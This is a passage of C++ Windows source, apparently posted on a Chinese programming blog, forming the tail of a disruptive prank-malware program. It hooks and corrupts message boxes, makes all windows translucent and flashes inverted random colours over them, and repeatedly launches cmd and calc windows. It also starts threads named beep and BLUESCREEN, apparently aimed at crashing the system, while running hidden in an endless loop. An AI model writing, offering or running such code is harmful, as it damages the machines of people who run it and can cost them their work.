		HANDLE handle = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)MsgBoxCorruptionThread, hwndMsgBox, 0, NULL);
		return 0;
	}
	return CallNextHookEx(0, nCode, wParam, lParam);
}
BOOL CALLBACK EnumCallback(HWND hwnd, LPARAM lParam)
{
	DWORD bAlpha = 0;
	GetLayeredWindowAttributes(hwnd, 0L, (BYTE*)&bAlpha, NULL);
	if (bAlpha == 80)
	{
		return TRUE;
	}
	SetWindowLong(hwnd, GWL_EXSTYLE, WS_EX_LAYERED);
	SetLayeredWindowAttributes(hwnd, 0L, (BYTE)80, LWA_ALPHA);
	HDC hdc = GetDC(hwnd);
	int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
	SelectObject(hdc, CreateSolidBrush(RGB(rand() % 256, rand() % 256, rand() % 256)));
	PatBlt(hdc, 0, 0, w, h, PATINVERT);
	EnumChildWindows(hwnd, EnumCallback, lParam);
	return TRUE;
}
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) 
int main(HINSTANCE hInstance) {
	HHOOK hMsgHook = SetWindowsHookEx(WH_CBT, msgBoxHook, 0, GetCurrentThreadId());
	SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
	messageBoxThread((LPVOID)hInstance);
	UnhookWindowsHookEx(hMsgHook);
	system("start cmd");
	system("start cmd");
	system("start calc");
	system("start cmd");
	system("start cmd");
	EnumWindows(EnumCallback, 0L);
	CreateThread(NULL, 0, CountWindow, NULL, 0, NULL);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)beep, 0, 0, 0);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)c, 0, 0, 0);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BLUESCREEN, 0, 0, 0);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)c1, 0, 0, 0);
	b();
	d();
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)a0, 0, 0, 0);
	while (1) {
		Sleep(1200000);
	}
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值